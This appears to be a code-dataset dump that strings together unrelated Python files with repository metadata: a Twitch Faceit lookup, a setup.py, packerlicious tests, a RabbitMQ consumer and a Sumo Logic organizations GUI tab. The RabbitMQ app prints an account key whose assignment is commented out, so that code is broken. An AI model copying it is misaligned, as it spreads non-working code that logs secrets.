"_fixed.mkv"), "-S", "-A", "--language", "0:und", video, "-D", "-S", "--language", "1:jpn", video, "-D", "-A", "--language", "0:en", "--track-name", "0:[Smoke]", infile.replace(".ass", "_fixed.ass"), ] ) # Removing temporary files os.remove(temp) os.remove(infile) os.remove(infile.replace(".ass", "_fixed.ass")) print("Done!")

26.842857

99

0.537254

424

3,758

4.65566

0.34434

0.070922

0.106383

0.096251

0.251266

0.188956

0.148936

0.137285

0

0.005535

0.278872

3,758

139

100

27.035971

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0.123204

0

0.284211

0

0.20679

0.008333

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1

0.031579

false

0

0.052632

0

0.094737

0.042105

0

null

0

null

0

1

0

758bfb17d11799615d242c0ec597dafd07b4d3fa

1,955

py

Python

tbot/twitch_bot/functions/faceit.py

thomaserlang/tbot

99cfa204d86ef35cf2cc9482ae5a44abb35b443a

[ "MIT" ]

null

tbot/twitch_bot/functions/faceit.py

thomaserlang/tbot

99cfa204d86ef35cf2cc9482ae5a44abb35b443a

[ "MIT" ]

10

2022-02-14T11:40:20.000Z

2022-03-09T22:44:03.000Z

tbot/twitch_bot/functions/faceit.py

thomaserlang/tbot

99cfa204d86ef35cf2cc9482ae5a44abb35b443a

[ "MIT" ]

1

2020-09-19T16:38:24.000Z

import logging from tbot.twitch_bot.var_filler import fills_vars, Send_error from tbot import config @fills_vars('faceit.username', 'faceit.elo', 'faceit.level', 'faceit.next_level_points', 'faceit.next_level') async def faceit_elo(bot, channel, args, var_args, **kwargs): if not var_args or \ not 'faceit.username' in var_args or \ not var_args['faceit.username']: raise Send_error('{faceit.username <username>} is missing') params = { 'nickname': var_args['faceit.username'][0] } headers = { 'Authorization': f'Bearer {config["faceit_apikey"]}', } elos = ( (1, '1'), (801, '2'), (951, '3'), (1101, '4'), (1251, '5'), (1401, '6'), (1551, '7'), (1701, '8'), (1851, '9'), (2001, '10'), ) async with bot.ahttp.get('https://open.faceit.com/data/v4/players', params=params, headers=headers) as r: if r.status == 404: raise Send_error('Unknow user on Faceit (usernames are case sensitive)') elif r.status >= 400: error = await r.text() raise Send_error(f'Faceit error: {error}') d = await r.json() if 'csgo' not in d['games']: raise Send_error('The user does not have CSGO in their Faceit profile') next_level_points = 0 next_level = 'unknown' for i, e in enumerate(elos): if e[0] < d['games']['csgo']['faceit_elo']: if i+1 < len(elos): next_level = elos[i+1][1] next_level_points = elos[i+1][0] - d['games']['csgo']['faceit_elo'] return { 'faceit.username': '', 'faceit.elo': d['games']['csgo']['faceit_elo'], 'faceit.level': d['games']['csgo']['skill_level_label'], 'faceit.next_level_points': next_level_points, 'faceit.next_level': next_level, }

34.298246

109

0.544246

247

1,955

4.161943

0.408907

0.087549

0.072957

0.046693

0.115759

0.097276

0

0.044364

0.296675

1,955

57

110

34.298246

0.703273

0

0.289366

0.037321

0

1

0

false

0

0.058824

0

0.078431

0

null

0

null

0

1

0

758d3ae4874f3aae353700d2388d8c12f38f9087

740

py

Python

setup.py

nickzhuang0613/BaiduSpider

f7c2dfc917c8617a8f5f3691bac642c376faed0f

[ "MIT" ]

1

2021-03-13T04:35:34.000Z

setup.py

nickzhuang0613/BaiduSpider

f7c2dfc917c8617a8f5f3691bac642c376faed0f

[ "MIT" ]

null

setup.py

nickzhuang0613/BaiduSpider

f7c2dfc917c8617a8f5f3691bac642c376faed0f

[ "MIT" ]

null

import setuptools with open('README.md', 'r', encoding='utf-8') as fh: long_description = fh.read() setuptools.setup( name='BaiduSpider', version='0.0.6', author='Sam Zhang', author_email='samzhang951@outlook.com', description='BaiduSpider，一个爬取百度的利器', long_description=long_description, long_description_content_type='text/markdown', url='https://github.com/BaiduSpider/BaiduSpider', packages=setuptools.find_packages(), classifiers=[ 'Programming Language :: Python :: 3', 'License :: OSI Approved :: MIT License', 'Development Status :: 3 - Alpha' ], python_requires='>=3.6', install_requires=[ 'requests', 'bs4', 'htmlmin' ] )

26.428571

53

0.636486

78

740

5.910256

0.705128

0.130152

0.08243

0.130152

0

0.02069

0.216216

740

27

54

27.407407

0.774138

0

0.359459

0.059459

0

1

0

false

0

0.04

0

0.04

0

null

0

null

0

1

0

759471eca6eb7bbbb400247ad8d624471bce9b4f

979

py

Python

tests/packerlicious/test_post_processor_docker.py

gnewson/packerlicious

9a5373bc3a63f949e7912dad0214340d5fddbd85

[ "Apache-2.0" ]

109

2017-07-17T03:32:09.000Z

2022-02-27T18:24:18.000Z

tests/packerlicious/test_post_processor_docker.py

gnewson/packerlicious

9a5373bc3a63f949e7912dad0214340d5fddbd85

[ "Apache-2.0" ]

175

2017-07-16T21:41:40.000Z

2021-03-19T22:28:19.000Z

tests/packerlicious/test_post_processor_docker.py

gnewson/packerlicious

9a5373bc3a63f949e7912dad0214340d5fddbd85

[ "Apache-2.0" ]

68

2017-07-16T20:52:38.000Z

2022-01-08T18:24:17.000Z

import pytest import packerlicious.post_processor as post_processor class TestDockerImportPostProcessor(object): def test_required_fields_missing(self): b = post_processor.DockerImport() with pytest.raises(ValueError) as excinfo: b.to_dict() assert 'required' in str(excinfo.value) class TestDockerPushPostProcessor(object): def test_no_required_fields(self): b = post_processor.DockerPush() b.to_dict() class TestDockerSavePostProcessor(object): def test_required_fields_missing(self): b = post_processor.DockerSave() with pytest.raises(ValueError) as excinfo: b.to_dict() assert 'required' in str(excinfo.value) class TestDockerTagPostProcessor(object): def test_required_fields_missing(self): b = post_processor.DockerTag() with pytest.raises(ValueError) as excinfo: b.to_dict() assert 'required' in str(excinfo.value)

23.309524

53

0.694586

109

979

6.036697

0.311927

0.118541

0.079027

0.109422

0.585106

0

0.223698

979

41

54

23.878049

0.865789

0

0.541667

0

0.024515

0

0.125

1

0.166667

false

0

0.166667

0

0.5

0

null

0

null

0

1

0

7598e6392d65a78f154a1a2db4cb51bdef6f7043

3,017

py

Python

app/app.py

jemarulanda/microservicioMapeo

fbf3cef57a0a8aec611171460f4a3434339aa0fe

[ "MIT" ]

null

app/app.py

jemarulanda/microservicioMapeo

fbf3cef57a0a8aec611171460f4a3434339aa0fe

[ "MIT" ]

null

app/app.py

jemarulanda/microservicioMapeo

fbf3cef57a0a8aec611171460f4a3434339aa0fe

[ "MIT" ]

null

'''Module main''' import json import os from rabbitmq import RabbitMQ from pika import exceptions from parameter import Parameter from send_grid import SendGrid from traceability import Traceability from transform import Transform import uuid class App: '''class Application''' @classmethod def __init__(cls): '''Method init''' cls.accountName = os.getenv('ACCOUNT_NAME') print('cls.accountName ',cls.accountName) #cls.accountKey = os.getenv('ACCOUNT_KEY') print('cls.accountKey ', cls.accountKey ) cls.config = Parameter(cls.accountName, cls.accountKey).get_parameters() @classmethod def callback(cls, channel, method, properties, body): '''Receive message ''' try: del properties transaction_id = str(uuid.uuid4()) businessKey = cls.config['traceability']['businessKey'] data = json.loads(body.decode('utf-8')) #print(data) #ibmmq(**cls.config['traceability']).send_json('message') #Traceability(**cls.config['traceability']).save( # businessKey,transaction_id,"Desencolar topico", # "Subscriber-Callback", "IN", str(data), # "OK", "Mensaje recibido") print('Transform.transformacion(data)', Transform.transformacion(data)) except Exception as error: print(error) SendGrid().create_message( cls.config['sendGrid']['apiKey'], cls.config['sendGrid']['fromEmail'], cls.config['sendGrid']['toEmail'], str(error)) #Traceability(**cls.config['traceability']).save( # businessKey,transaction_id,"Error en la calidad del mensaje enviado", # "Subscriber", "IN", str(body), # "ERROR", "Lectura Fallida, "+str(error)) finally: channel.basic_ack(delivery_tag=method.delivery_tag) @classmethod def main(cls): while True: try: objqueue = RabbitMQ(**cls.config['source']) objqueue.connect() objqueue.channel.basic_consume( queue=cls.config['source']['queue'], on_message_callback=cls.callback, auto_ack=False ) #cls.traceability = Traceability(**cls.config['traceability']) try: objqueue.channel.start_consuming() except KeyboardInterrupt: objqueue.disconnect() objqueue.channel.stop_consuming() break except (exceptions.ConnectionClosedByBroker,exceptions.AMQPChannelError,exceptions.AMQPConnectionError) as error_connection: print('Conexion cerrada con a RabbitMQ', error_connection) continue if __name__ == '__main__': App().main()

38.679487

136

0.569108

269

3,017

6.263941

0.39777

0.058754

0.062315

0.058754

0.072404

0

0.000973

0.318528

3,017

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0.81858

0.201525

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0

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0

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0.054545

false

0

0.163636

0

0.236364

0.090909

0

null

0

null

0

1

0

759923fc156d69b7e7b7231814ffe05abf19e1c1

26,488

py

Python

modules/organizations_tab.py

scrummastermind/sumologictoolbox

02d9acb970943521685091d36b8d5135e817c22c

[ "Apache-2.0" ]

null

modules/organizations_tab.py

scrummastermind/sumologictoolbox

02d9acb970943521685091d36b8d5135e817c22c

[ "Apache-2.0" ]

null

modules/organizations_tab.py

scrummastermind/sumologictoolbox

02d9acb970943521685091d36b8d5135e817c22c

[ "Apache-2.0" ]

null

class_name = 'organizations_tab' from qtpy import QtCore, QtGui, QtWidgets, uic import os from logzero import logger import pathlib import json from modules.sumologic_orgs import SumoLogic_Orgs class CreateOrUpdateOrgDialog(QtWidgets.QDialog): def __init__(self, deployments, org_details=None, trials_enabled=False): super(CreateOrUpdateOrgDialog, self).__init__() self.deployments = deployments self.available_org_licenses = ["Paid"] if trials_enabled and not org_details: self.available_org_licenses.append("Trial") self.org_details = org_details self.setupUi(self) def setupUi(self, Dialog): Dialog.setObjectName("CreateOrg") self.intValidator = QtGui.QIntValidator() self.setWindowTitle('Enter Org Details') QBtn = QtWidgets.QDialogButtonBox.Ok | QtWidgets.QDialogButtonBox.Cancel self.buttonBox = QtWidgets.QDialogButtonBox(QBtn) self.buttonBox.accepted.connect(self.accept) self.buttonBox.rejected.connect(self.reject) self.labelOrgName = QtWidgets.QLabel(Dialog) self.labelOrgName.setObjectName("OrgName") self.labelOrgName.setText('Organization Name:') self.lineEditOrgName = QtWidgets.QLineEdit(Dialog) self.layoutOrgName = QtWidgets.QHBoxLayout() self.layoutOrgName.addWidget(self.labelOrgName) self.layoutOrgName.addWidget(self.lineEditOrgName) self.labelEmail = QtWidgets.QLabel(Dialog) self.labelEmail.setObjectName("Email") self.labelEmail.setText('Registration Email:') self.lineEditEmail = QtWidgets.QLineEdit(Dialog) self.layoutEmail = QtWidgets.QHBoxLayout() self.layoutEmail.addWidget(self.labelEmail) self.layoutEmail.addWidget(self.lineEditEmail) self.labelFirstName = QtWidgets.QLabel(Dialog) self.labelFirstName.setObjectName("FirstName") self.labelFirstName.setText('First Name:') self.lineEditFirstName = QtWidgets.QLineEdit(Dialog) self.layoutFirstName = QtWidgets.QHBoxLayout() self.layoutFirstName.addWidget(self.labelFirstName) self.layoutFirstName.addWidget(self.lineEditFirstName) self.labelLastName = QtWidgets.QLabel(Dialog) self.labelLastName.setObjectName("LastName") self.labelLastName.setText('Last Name:') self.lineEditLastName = QtWidgets.QLineEdit(Dialog) self.layoutLastName = QtWidgets.QHBoxLayout() self.layoutLastName.addWidget(self.labelLastName) self.layoutLastName.addWidget(self.lineEditLastName) self.labelDeployment = QtWidgets.QLabel(Dialog) self.labelDeployment.setObjectName("Deployment") self.labelDeployment.setText('Deployment:') self.comboBoxDeployment = QtWidgets.QComboBox(Dialog) for deployment in self.deployments: self.comboBoxDeployment.addItem(deployment['deploymentId'].strip()) self.layoutDeployment = QtWidgets.QHBoxLayout() self.layoutDeployment.addWidget(self.labelDeployment) self.layoutDeployment.addWidget(self.comboBoxDeployment) self.labelLicenseType = QtWidgets.QLabel(Dialog) self.labelLicenseType.setObjectName("LicenseType") self.labelLicenseType.setText('License Type:') self.comboBoxLicenseType = QtWidgets.QComboBox(Dialog) for license in self.available_org_licenses: self.comboBoxLicenseType.addItem(license.strip()) self.layoutLicenseType = QtWidgets.QHBoxLayout() self.layoutLicenseType.addWidget(self.labelLicenseType) self.layoutLicenseType.addWidget(self.comboBoxLicenseType) self.labelTrialLength = QtWidgets.QLabel(Dialog) self.labelTrialLength.setObjectName('TrialLength') self.labelTrialLength.setText('Trial Length') self.lineEditTrialLength = QtWidgets.QLineEdit(Dialog) # Temporarily Disabled for V1 of Orgs. Trial length is fixed at 45 days self.lineEditTrialLength.setText('45') self.lineEditTrialLength.setReadOnly(True) self.layoutTrialLength = QtWidgets.QHBoxLayout() self.layoutTrialLength.addWidget(self.labelTrialLength) self.layoutTrialLength.addWidget(self.lineEditTrialLength) if self.org_details: self.lineEditOrgName.setText(self.org_details['organizationName']) self.lineEditOrgName.setReadOnly(True) self.lineEditEmail.setText(self.org_details['email']) self.lineEditEmail.setReadOnly(True) self.lineEditFirstName.setText(self.org_details['firstName']) self.lineEditFirstName.setReadOnly(True) self.lineEditLastName.setText(self.org_details['lastName']) self.lineEditLastName.setReadOnly(True) index = self.comboBoxLicenseType.findText(self.org_details['subscription']['plan']['planName'], QtCore.Qt.MatchFixedString) if index >= 0: self.comboBoxLicenseType.setCurrentIndex(index) self.comboBoxLicenseType.setEditable(False) self.layout = QtWidgets.QVBoxLayout() self.layout.addLayout(self.layoutOrgName) self.layout.addLayout(self.layoutEmail) self.layout.addLayout(self.layoutFirstName) self.layout.addLayout(self.layoutLastName) self.layout.addLayout(self.layoutDeployment) self.layout.addLayout(self.layoutLicenseType) self.layout.addLayout(self.layoutTrialLength) # Continuous self.labelContinuousTierIngest = QtWidgets.QLabel(Dialog) self.labelContinuousTierIngest.setObjectName("ContinuousTierIngest") self.labelContinuousTierIngest.setText('Continuous Tier Ingest (0 - 1,000,000 GB/day):') self.lineEditContinuousTierIngest = QtWidgets.QLineEdit(Dialog) self.lineEditContinuousTierIngest.setValidator(self.intValidator) self.layoutContinuousTierIngest = QtWidgets.QHBoxLayout() self.layoutContinuousTierIngest.addWidget(self.labelContinuousTierIngest) self.layoutContinuousTierIngest.addWidget(self.lineEditContinuousTierIngest) self.labelContinuousTierStorage = QtWidgets.QLabel(Dialog) self.labelContinuousTierStorage.setObjectName("ContinuousTierStorage") self.labelContinuousTierStorage.setText('Continuous Tier Storage (0 - 1,000,000 GB):') self.lineEditContinuousTierStorage = QtWidgets.QLineEdit(Dialog) self.lineEditContinuousTierStorage.setValidator(self.intValidator) self.layoutContinuousTierStorage = QtWidgets.QHBoxLayout() self.layoutContinuousTierStorage.addWidget(self.labelContinuousTierStorage) self.layoutContinuousTierStorage.addWidget(self.lineEditContinuousTierStorage) # Frequent self.labelFrequentTierIngest = QtWidgets.QLabel(Dialog) self.labelFrequentTierIngest.setObjectName("FrequentTierIngest") self.labelFrequentTierIngest.setText('Frequent Tier Ingest (0 - 1,000,000 GB/day):') self.lineEditFrequentTierIngest = QtWidgets.QLineEdit(Dialog) self.lineEditFrequentTierIngest.setValidator(self.intValidator) self.layoutFrequentTierIngest = QtWidgets.QHBoxLayout() self.layoutFrequentTierIngest.addWidget(self.labelFrequentTierIngest) self.layoutFrequentTierIngest.addWidget(self.lineEditFrequentTierIngest) self.labelFrequentTierStorage = QtWidgets.QLabel(Dialog) self.labelFrequentTierStorage.setObjectName("FrequentTierStorage") self.labelFrequentTierStorage.setText('Frequent Tier Storage (0 - 1,000,000 GB):') self.lineEditFrequentTierStorage = QtWidgets.QLineEdit(Dialog) self.lineEditFrequentTierStorage.setValidator(self.intValidator) self.layoutFrequentTierStorage = QtWidgets.QHBoxLayout() self.layoutFrequentTierStorage.addWidget(self.labelFrequentTierStorage) self.layoutFrequentTierStorage.addWidget(self.lineEditFrequentTierStorage) # Infrequent self.labelInFrequentTierIngest = QtWidgets.QLabel(Dialog) self.labelInFrequentTierIngest.setObjectName("InFrequentTierIngest") self.labelInFrequentTierIngest.setText('InFrequent Tier Ingest (0 - 1,000,000 GB/day):') self.lineEditInFrequentTierIngest = QtWidgets.QLineEdit(Dialog) self.lineEditInFrequentTierIngest.setValidator(self.intValidator) self.layoutInFrequentTierIngest = QtWidgets.QHBoxLayout() self.layoutInFrequentTierIngest.addWidget(self.labelInFrequentTierIngest) self.layoutInFrequentTierIngest.addWidget(self.lineEditInFrequentTierIngest) self.labelInFrequentTierStorage = QtWidgets.QLabel(Dialog) self.labelInFrequentTierStorage.setObjectName("InFrequentTierStorage") self.labelInFrequentTierStorage.setText('InFrequent Tier Storage (0 - 1,000,000 GB):') self.lineEditInFrequentTierStorage = QtWidgets.QLineEdit(Dialog) self.lineEditInFrequentTierStorage.setValidator(self.intValidator) self.layoutInFrequentTierStorage = QtWidgets.QHBoxLayout() self.layoutInFrequentTierStorage.addWidget(self.labelInFrequentTierStorage) self.layoutInFrequentTierStorage.addWidget(self.lineEditInFrequentTierStorage) # Metrics self.labelMetrics = QtWidgets.QLabel(Dialog) self.labelMetrics.setObjectName("Metrics") self.labelMetrics.setText('Metrics Ingest (0 - 100,000 DPM):') self.lineEditMetrics = QtWidgets.QLineEdit(Dialog) self.lineEditMetrics.setValidator(self.intValidator) self.layoutMetrics = QtWidgets.QHBoxLayout() self.layoutMetrics.addWidget(self.labelMetrics) self.layoutMetrics.addWidget(self.lineEditMetrics) # CSE self.labelCSEIngest = QtWidgets.QLabel(Dialog) self.labelCSEIngest.setObjectName("CSEIngest") self.labelCSEIngest.setText('CSE Ingest (0 - 1,000,000 GB/day):') self.lineEditCSEIngest = QtWidgets.QLineEdit(Dialog) self.lineEditCSEIngest.setValidator(self.intValidator) self.layoutCSEIngest = QtWidgets.QHBoxLayout() self.layoutCSEIngest.addWidget(self.labelCSEIngest) self.layoutCSEIngest.addWidget(self.lineEditCSEIngest) self.labelCSEStorage = QtWidgets.QLabel(Dialog) self.labelCSEStorage.setObjectName("CSEStorage") self.labelCSEStorage.setText('CSE Storage (0 - 1,000,000 GB):') self.lineEditCSEStorage = QtWidgets.QLineEdit(Dialog) self.lineEditCSEStorage.setValidator(self.intValidator) self.layoutCSEStorage = QtWidgets.QHBoxLayout() self.layoutCSEStorage.addWidget(self.labelCSEStorage) self.layoutCSEStorage.addWidget(self.lineEditCSEStorage) if self.org_details: self.lineEditContinuousTierIngest.setText(str(self.org_details['subscription']['baselines']['continuousIngest'])) self.lineEditContinuousTierStorage.setText(str(self.org_details['subscription']['baselines']['continuousStorage'])) self.lineEditFrequentTierIngest.setText(str(self.org_details['subscription']['baselines']['frequentIngest'])) self.lineEditFrequentTierStorage.setText(str(self.org_details['subscription']['baselines']['frequentStorage'])) self.lineEditInFrequentTierIngest.setText(str(self.org_details['subscription']['baselines']['infrequentIngest'])) self.lineEditInFrequentTierStorage.setText(str(self.org_details['subscription']['baselines']['infrequentStorage'])) self.lineEditCSEIngest.setText(str(self.org_details['subscription']['baselines']['cseIngest'])) self.lineEditCSEStorage.setText(str(self.org_details['subscription']['baselines']['cseStorage'])) self.lineEditMetrics.setText(str(self.org_details['subscription']['baselines']['metrics'])) else: self.lineEditContinuousTierIngest.setText('0') self.lineEditContinuousTierStorage.setText('0') self.lineEditFrequentTierIngest.setText('0') self.lineEditFrequentTierStorage.setText('0') self.lineEditInFrequentTierIngest.setText('0') self.lineEditInFrequentTierStorage.setText('0') self.lineEditMetrics.setText('0') self.lineEditCSEIngest.setText('0') self.lineEditCSEStorage.setText('0') self.layout.addLayout(self.layoutContinuousTierIngest) self.layout.addLayout(self.layoutContinuousTierStorage) self.layout.addLayout(self.layoutFrequentTierIngest) self.layout.addLayout(self.layoutFrequentTierStorage) self.layout.addLayout(self.layoutInFrequentTierIngest) self.layout.addLayout(self.layoutInFrequentTierStorage) self.layout.addLayout(self.layoutMetrics) self.layout.addLayout(self.layoutCSEIngest) self.layout.addLayout(self.layoutCSEStorage) self.createPresetCheckbox = QtWidgets.QCheckBox("Create Credential Preset") self.createPresetCheckbox.setChecked(True) self.writeCredsToFileCheckbox = QtWidgets.QCheckBox("Write Credentials to File") self.writeCredsToFileCheckbox.setChecked(False) if not self.org_details: self.layoutCheckboxes = QtWidgets.QHBoxLayout() self.layoutCheckboxes.addWidget(self.createPresetCheckbox) self.layoutCheckboxes.addWidget(self.writeCredsToFileCheckbox) self.layout.addLayout(self.layoutCheckboxes) self.layout.addWidget(self.buttonBox) self.setLayout(self.layout) return def getresults(self): results = {'organizationName': str(self.lineEditOrgName.text()), 'firstName': str(self.lineEditFirstName.text()), 'lastName': str(self.lineEditLastName.text()), 'email': str(self.lineEditEmail.text()), 'deploymentId': str(self.comboBoxDeployment.currentText()), 'baselines': {} } results['baselines']['continuousIngest'] = str(self.lineEditContinuousTierIngest.text()) results['baselines']['continuousStorage'] = str(self.lineEditContinuousTierStorage.text()) results['baselines']['frequentIngest'] = str(self.lineEditFrequentTierIngest.text()) results['baselines']['frequentStorage'] = str(self.lineEditFrequentTierStorage.text()) results['baselines']['infrequentIngest'] = str(self.lineEditInFrequentTierIngest.text()) results['baselines']['infrequentStorage'] = str(self.lineEditInFrequentTierStorage.text()) results['baselines']['metrics'] = self.lineEditMetrics.text() results['baselines']['cseIngest'] = str(self.lineEditCSEIngest.text()) results['baselines']['cseStorage'] = str(self.lineEditCSEStorage.text()) if self.comboBoxLicenseType.currentText() == 'Trial': results['trialPlanPeriod'] = str(self.lineEditTrialLength.text()) if not self.org_details: results['create_preset'] = self.createPresetCheckbox.isChecked() results['write_creds_to_file'] = self.writeCredsToFileCheckbox.isChecked() return results class organizations_tab(QtWidgets.QWidget): def __init__(self, mainwindow): super(organizations_tab, self).__init__() self.mainwindow = mainwindow self.tab_name = 'Organizations' self.cred_usage = 'left' collector_ui = os.path.join(self.mainwindow.basedir, 'data/organizations.ui') uic.loadUi(collector_ui, self) #self.font = "Waree" #self.font_size = 12 # UI Buttons for Organizations API tab self.pushButtonGetOrgs.clicked.connect(lambda: self.update_org_list( str(self.mainwindow.comboBoxRegionLeft.currentText().lower()), str(self.mainwindow.lineEditUserNameLeft.text()), str(self.mainwindow.lineEditPasswordLeft.text()), )) self.pushButtonCreateOrg.clicked.connect(lambda: self.create_org( str(self.mainwindow.comboBoxRegionLeft.currentText().lower()), str(self.mainwindow.lineEditUserNameLeft.text()), str(self.mainwindow.lineEditPasswordLeft.text()), )) self.pushButtonCancelSubscription.clicked.connect(lambda: self.cancel_subscription( self.tableWidgetOrgs.selectedItems(), str(self.mainwindow.comboBoxRegionLeft.currentText().lower()), str(self.mainwindow.lineEditUserNameLeft.text()), str(self.mainwindow.lineEditPasswordLeft.text()) )) self.pushButtonUpdateSubscription.clicked.connect(lambda: self.update_subscription( self.tableWidgetOrgs.selectedItems(), str(self.mainwindow.comboBoxRegionLeft.currentText().lower()), str(self.mainwindow.lineEditUserNameLeft.text()), str(self.mainwindow.lineEditPasswordLeft.text()) )) self.tableWidgetOrgs.itemDoubleClicked.connect(self.row_doubleclicked) def row_doubleclicked(self, qtablewidgetitem): selected = self.tableWidgetOrgs.selectedItems() row_dict = self.create_dict_from_qtable_row(selected) def create_dict_from_qtable_row(self, list_of_qtableitems): row_dict = {} for qtableitem in list_of_qtableitems: column_number = qtableitem.column() key = self.tableWidgetOrgs.horizontalHeaderItem(column_number).text() row_dict[key] = qtableitem.text() return row_dict def reset_stateful_objects(self, side='both'): self.tableWidgetOrgs.clearContents() self.tableWidgetOrgs.raw_orgs =[] self.tableWidgetOrgs.horizontalHeader().hide() self.tableWidgetOrgs.setRowCount(0) parent_deployment = str(self.mainwindow.comboBoxRegionLeft.currentText().lower()) id = str(self.mainwindow.lineEditUserNameLeft.text()) key = str(self.mainwindow.lineEditPasswordLeft.text()) self.pushButtonGetOrgs.setEnabled(True) self.checkBoxShowActive.setEnabled(True) self.pushButtonCreateOrg.setEnabled(True) self.pushButtonUpdateSubscription.setEnabled(True) self.pushButtonCancelSubscription.setEnabled(True) try: sumo_mam = SumoLogic_Orgs(id, key, parent_deployment, log_level=self.mainwindow.log_level) test = sumo_mam.get_deployments() except: self.pushButtonGetOrgs.setEnabled(False) self.checkBoxShowActive.setEnabled(False) self.pushButtonCreateOrg.setEnabled(False) self.pushButtonUpdateSubscription.setEnabled(False) self.pushButtonCancelSubscription.setEnabled(False) def update_org_list(self, parent_deployment, id, key): logger.info("[Organizations] Getting Updated Org List") if self.checkBoxShowActive.isChecked(): status_filter= "Active" else: status_filter= "All" try: sumo_mam = SumoLogic_Orgs(id, key, parent_deployment, log_level=self.mainwindow.log_level) self.tableWidgetOrgs.raw_orgs = sumo_mam.get_orgs_sync(status_filter=status_filter) self.update_org_table_widget() except Exception as e: logger.exception(e) self.mainwindow.errorbox('Something went wrong:\n\n' + str(e)) self.reset_stateful_objects('left') return def update_org_table_widget(self): logger.info("[Organizations] Updating Org Table Widget") self.tableWidgetOrgs.clear() orgs = [] for raw_org in self.tableWidgetOrgs.raw_orgs: org = { 'Org Name': raw_org['organizationName'], 'Org ID': raw_org['orgId'], 'Owner Email': raw_org['email'], 'Credits': raw_org['subscription']['credits'], 'License': raw_org['subscription']['plan']['planName'], 'Status': raw_org['subscription']['status'], 'Continuous Ingest': raw_org['subscription']['baselines']['continuousIngest'], 'Continuous Storage': raw_org['subscription']['baselines']['continuousStorage'], 'Frequent Ingest': raw_org['subscription']['baselines']['frequentIngest'], 'Frequent Storage': raw_org['subscription']['baselines']['frequentStorage'], 'Infrequent Ingest': raw_org['subscription']['baselines']['infrequentIngest'], 'Infrequent Storage': raw_org['subscription']['baselines']['infrequentStorage'], 'CSE Ingest': raw_org['subscription']['baselines']['cseIngest'], 'CSE Storage': raw_org['subscription']['baselines']['cseStorage'], 'Metrics': raw_org['subscription']['baselines']['metrics'] } orgs.append(org) if len(orgs) > 0: numrows = len(orgs) self.tableWidgetOrgs.setRowCount(numrows) numcolumns = len(orgs[0]) self.tableWidgetOrgs.horizontalHeader().setSectionResizeMode(QtWidgets.QHeaderView.ResizeToContents) self.tableWidgetOrgs.setColumnCount(numcolumns) self.tableWidgetOrgs.horizontalHeader().show() self.tableWidgetOrgs.setHorizontalHeaderLabels((list(orgs[0].keys()))) for row in range(numrows): for column in range(numcolumns): entry = (list(orgs[row].values())[column]) item = QtWidgets.QTableWidgetItem() item.setData(QtCore.Qt.DisplayRole, entry) self.tableWidgetOrgs.setItem(row, column, item) else: self.mainwindow.errorbox('No orgs to display.') def create_org(self, parent_deployment, id, key): logger.info("[Organizations]Creating Org") try: sumo_orgs = SumoLogic_Orgs(id, key, parent_deployment, log_level=self.mainwindow.log_level) deployments = sumo_orgs.get_deployments() org_info = sumo_orgs.get_parent_org_info() trials_enabled = org_info['isEligibleForTrialOrgs'] except Exception as e: self.mainwindow.errorbox('Something went wrong:\n\n' + str(e)) logger.exception(e) return dialog = CreateOrUpdateOrgDialog(deployments, trials_enabled=trials_enabled) dialog.exec() dialog.show() if str(dialog.result()) == '1': org_details = dialog.getresults() try: response = sumo_orgs.create_org(org_details) dialog.close() except Exception as e: self.mainwindow.errorbox('Something went wrong:\n\n' + str(e)) logger.exception(e) dialog.close() return # if org_details['create_preset']: # self.mainwindow.create_preset_non_interactive(response_dict['organizationName'], # response_dict['deploymentId'], # response_dict['accessKey']['id'], # response_dict['accessKey']['key'] # ) # if org_details['write_creds_to_file']: # savepath = QtWidgets.QFileDialog.getExistingDirectory(self, 'Save Credentials Location') # file = pathlib.Path(savepath + r'/' + str(response_dict['organizationName'] + r'.user.json')) # try: # with open(str(file), 'w') as filepointer: # json.dump(response_dict, filepointer) # # except Exception as e: # self.mainwindow.errorbox('Something went wrong:\n\n' + str(e)) # logger.exception(e) # # secure the credentials file # os.chmod(file, 600) self.update_org_list(parent_deployment, id, key) else: return def cancel_subscription(self, selected_row, parent_deployment, id, key): if len(selected_row) > 0: logger.info("[Organizations] Canceling Subscription") row_dict = self.create_dict_from_qtable_row(selected_row) try: sumo_orgs = SumoLogic_Orgs(id, key, parent_deployment=parent_deployment) sumo_orgs.deactivate_org(row_dict['Org ID']) except Exception as e: self.mainwindow.errorbox('Something went wrong:\n\n' + str(e)) logger.exception(e) return self.update_org_list(parent_deployment, id, key) return else: self.mainwindow.errorbox('Nothing Selected') def update_subscription(self, selected_row, parent_deployment, id, key): if len(selected_row) > 0: logger.info("[Organizations] Updating Subscription") row_dict = self.create_dict_from_qtable_row(selected_row) try: sumo_orgs = SumoLogic_Orgs(id, key, parent_deployment) org_details = sumo_orgs.get_org_details(row_dict['Org ID']) deployments = sumo_orgs.get_deployments() org_info = sumo_orgs.get_parent_org_info() trials_enabled = org_info['isEligibleForTrialOrgs'] except Exception as e: self.mainwindow.errorbox('Something went wrong:\n\n' + str(e)) logger.exception(e) return dialog = CreateOrUpdateOrgDialog(deployments, org_details=org_details, trials_enabled=trials_enabled) dialog.exec() dialog.show() if str(dialog.result()) == '1': org_update_details = dialog.getresults() try: response = sumo_orgs.update_org(org_details['orgId'], org_update_details['baselines']) except Exception as e: self.mainwindow.errorbox('Something went wrong:\n\n' + str(e)) logger.exception(e) dialog.close() dialog.close() self.update_org_list(parent_deployment, id, key)

48.247723

127

0.669435

2,310

26,488

7.572727

0.149784

0.015206

0.022352

0.213743

0.186875

0.181387

0.152232

0.134625

0.126965

0

0.004849

0.229198

26,488

548

128

48.335766

0.851937

0.042623

0

0.201422

0

0.100122

0.005132

0

1

0.028436

false

0.011848

0.014218

0

0.07109

0

null

0

null

0

1

0

759a0430a9251f3f49f413680d321c1b741036a9

562

py

Python

hello.py

Sid672/Music

ee3c35ae1dfa71372dc6ce5a101503beaac91fd5

[ "MIT" ]

null

hello.py

Sid672/Music

ee3c35ae1dfa71372dc6ce5a101503beaac91fd5

[ "MIT" ]

null

hello.py

Sid672/Music

ee3c35ae1dfa71372dc6ce5a101503beaac91fd5

[ "MIT" ]

null

